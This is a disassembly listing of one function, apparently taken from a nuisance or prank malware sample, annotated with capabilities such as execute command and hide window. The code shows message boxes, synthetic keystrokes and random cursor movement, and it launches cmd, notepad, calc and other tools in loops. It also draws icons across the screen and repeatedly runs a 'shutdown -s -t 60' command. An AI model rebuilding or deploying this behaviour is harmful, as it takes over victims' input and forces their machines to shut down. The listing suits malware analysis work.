Function at 0x401859
Capabilities:
Check for unmoving mouse cursor
Execute command
Hide graphical window

Disassembly:
push rbp
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp - 0x20], rax
mov r9d, 0x40
lea r8, [0x00489051]
lea rdx, [0x00489056]
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov r9d, 0x41
lea r8, [0x00489072]
lea rdx, [0x0048907b]
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov dword [0x004a8030], eax
mov eax, dword [0x004a8030]
cmp eax, 1
jne 0x401903
mov r9d, 0x40
lea r8, [0x00489072]
lea rdx, [0x00489098]
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x401925
mov r9d, 0x1040
lea r8, [0x00489072]
lea rdx, [0x004890b7]
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x32
mov dword [rsp + 0x20], 0x32
mov r9d, 0xc8
mov r8d, 0xc8
mov rdx, 0xffffffffffffffff
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetWindowPos]
call rax
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0xc8
mov r9d, 0x1f4
mov r8d, 0xc8
mov edx, 0xc8
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_MoveWindow]
call rax
lea rdx, [0x004890d8]
mov rcx, qword [0x0048d8d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov edx, 0x1388
mov ecx, 0x1388
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [0x00489104]
mov rcx, qword [0x0048d8d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov edx, 0x1388
mov ecx, 0x1388
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rcx, [0x00489118]
call dbg.StringToClipBoard(char*)
mov edx, 0x118
mov ecx, 0x12c
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
call dbg.danji()
mov edx, 0x118
mov ecx, 0x12c
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
call dbg.danji()
mov ecx, 0x11
call dbg.down(int)
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0x56
mov rax, qword [sym.imp.USER32.dll_keybd_event]
call rax
mov r9d, 0
mov r8d, 2
mov edx, 0
mov ecx, 0x56
mov rax, qword [sym.imp.USER32.dll_keybd_event]
call rax
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0xd
call dbg.press(int)
mov ecx, 0x11
call dbg.up(int)
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0xc8
mov dword [rsp + 0x20], 0x1f4
mov r9d, 0xc8
mov r8d, 0xc8
mov rdx, 0xffffffffffffffff
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetWindowPos]
call rax
lea rcx, [0x00489131]
call sym.system
lea rdx, [0x00489135]
mov rcx, qword [0x0048d8d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
call dbg.jin_r()
mov rax, qword [sym.imp.USER32.dll_GetDesktopWindow]
call rax
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowDC]
call rax
mov qword [rbp - 0x30], rax
mov edx, 0x1388
mov ecx, 0x1388
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
mov ecx, 0x5dc
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x20]
mov edx, 6
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov dword [rbp - 4], 1
jmp 0x401b7c
lea rcx, str.start_cmd
call sym.system
add dword [rbp - 4], 1
cmp dword [rbp - 4], 6
jle 0x401b6c
mov dword [rbp - 8], 1
jmp 0x401e5a
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x3e8
mov ebx, ecx
sub ebx, eax
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
mov edx, ebx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
lea rcx, str.start_notepad
call sym.system
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x3e8
mov ebx, ecx
sub ebx, eax
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
mov edx, ebx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
lea rcx, str.start_calc
call sym.system
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x3e8
mov ebx, ecx
sub ebx, eax
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
mov edx, ebx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
lea rcx, str.start_winver
call sym.system
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x3e8
mov ebx, ecx
sub ebx, eax
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
mov edx, ebx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
lea rcx, str.start_Nslookup
call sym.system
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x3e8
mov ebx, ecx
sub ebx, eax
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
mov edx, ebx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
lea rcx, str.start_cleanmgr
call sym.system
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x3e8
mov ebx, ecx
sub ebx, eax
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
mov edx, ebx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
lea rcx, str.start_charmap
call sym.system
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x3e8
mov ebx, ecx
sub ebx, eax
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
mov edx, ebx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
lea rcx, str.start_dxdiag
call sym.system
call dbg.fanzhuan()
add dword [rbp - 8], 1
cmp dword [rbp - 8], 2
jle 0x401b8e
lea rcx, str.start_cmd
call sym.system
call sym.clock
pxor xmm2, xmm2
cvtsi2sd xmm2, eax
movq rax, xmm2
mov qword [rbp - 0x38], rax
call sym.clock
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
subsd xmm0, qword [rbp - 0x38]
movq rax, xmm0
mov qword [rbp - 0x10], rax
jmp 0x4020b9
call sym.clock
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
subsd xmm0, qword [rbp - 0x38]
movq rax, xmm0
mov qword [rbp - 0x10], rax
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x3e8
mov ebx, ecx
sub ebx, eax
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
mov edx, ebx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetCursorPos]
call rax
mov edx, 0x7f01
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_LoadIconA]
call rax
mov r8, rax
mov ecx, dword [rbp - 0x3c]
mov edx, dword [rbp - 0x40]
mov rax, qword [rbp - 0x30]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DrawIcon]
call rax
mov edx, 0x7f02
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_LoadIconA]
call rax
mov r8, rax
mov eax, dword [rbp - 0x3c]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00489220]
mulsd xmm0, xmm1
cvttsd2si ecx, xmm0
mov eax, dword [rbp - 0x40]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00489220]
mulsd xmm0, xmm1
cvttsd2si edx, xmm0
mov rax, qword [rbp - 0x30]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DrawIcon]
call rax
mov edx, 0x7f03
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_LoadIconA]
call rax
mov r8, rax
mov eax, dword [rbp - 0x3c]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00489220]
mulsd xmm0, xmm1
cvttsd2si ecx, xmm0
mov eax, dword [rbp - 0x40]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00489220]
mulsd xmm0, xmm1
cvttsd2si edx, xmm0
mov rax, qword [rbp - 0x30]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DrawIcon]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x32
mov dword [rsp + 0x20], 0x32
mov r9d, 0x1f4
mov r8d, 0x1f4
mov rdx, 0xffffffffffffffff
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetWindowPos]
call rax
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x190
mov r9d, 0x258
mov r8d, 0x15e
mov edx, 0x28a
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_MoveWindow]
call rax
lea rdx, [0x004891b8]
mov rcx, qword [0x0048d8d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rcx, [0x00489131]
call sym.system
movsd xmm0, qword [0x00489228]
ucomisd xmm0, qword [rbp - 0x10]
ja 0x401ea6
mov dword [rbp - 0x14], 1
jmp 0x4020de
call dbg.fanzhuan()
add dword [rbp - 0x14], 1
cmp dword [rbp - 0x14], 2
jle 0x4020d5
mov dword [rbp - 0x18], 1
jmp 0x4020fd
lea rcx, str.shutdown__s__t_60
call sym.system
add dword [rbp - 0x18], 1
cmp dword [rbp - 0x18], 5
jle 0x4020ed
mov ecx, 0x1f4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x3e8
mov ebx, ecx
sub ebx, eax
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
mov edx, ebx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetCursorPos]
call rax
mov edx, 0x7f01
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_LoadIconA]
call rax
mov r8, rax
mov ecx, dword [rbp - 0x3c]
mov edx, dword [rbp - 0x40]
mov rax, qword [rbp - 0x30]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DrawIcon]
call rax
mov edx, 0x7f02
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_LoadIconA]
call rax
mov r8, rax
mov eax, dword [rbp - 0x3c]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00489220]
mulsd xmm0, xmm1
cvttsd2si ecx, xmm0
mov eax, dword [rbp - 0x40]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00489220]
mulsd xmm0, xmm1
cvttsd2si edx, xmm0
mov rax, qword [rbp - 0x30]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DrawIcon]
call rax
mov edx, 0x7f03
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_LoadIconA]
call rax
mov r8, rax
mov eax, dword [rbp - 0x3c]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00489220]
mulsd xmm0, xmm1
cvttsd2si ecx, xmm0
mov eax, dword [rbp - 0x40]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00489220]
mulsd xmm0, xmm1
cvttsd2si edx, xmm0
mov rax, qword [rbp - 0x30]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DrawIcon]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x3e8
call sym.malloc
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x32
mov dword [rsp + 0x20], 0x32
mov r9d, 0x1f4
mov r8d, 0x1f4
mov rdx, 0xffffffffffffffff
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetWindowPos]
call rax
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x190
mov r9d, 0x258
mov r8d, 0x15e
mov edx, 0x28a
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_MoveWindow]
call rax
lea rdx, [0x004891b8]
mov rcx, qword [0x0048d8d0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
call dbg.fanzhuan()
lea rcx, [0x00489131]
call sym.system
jmp 0x402111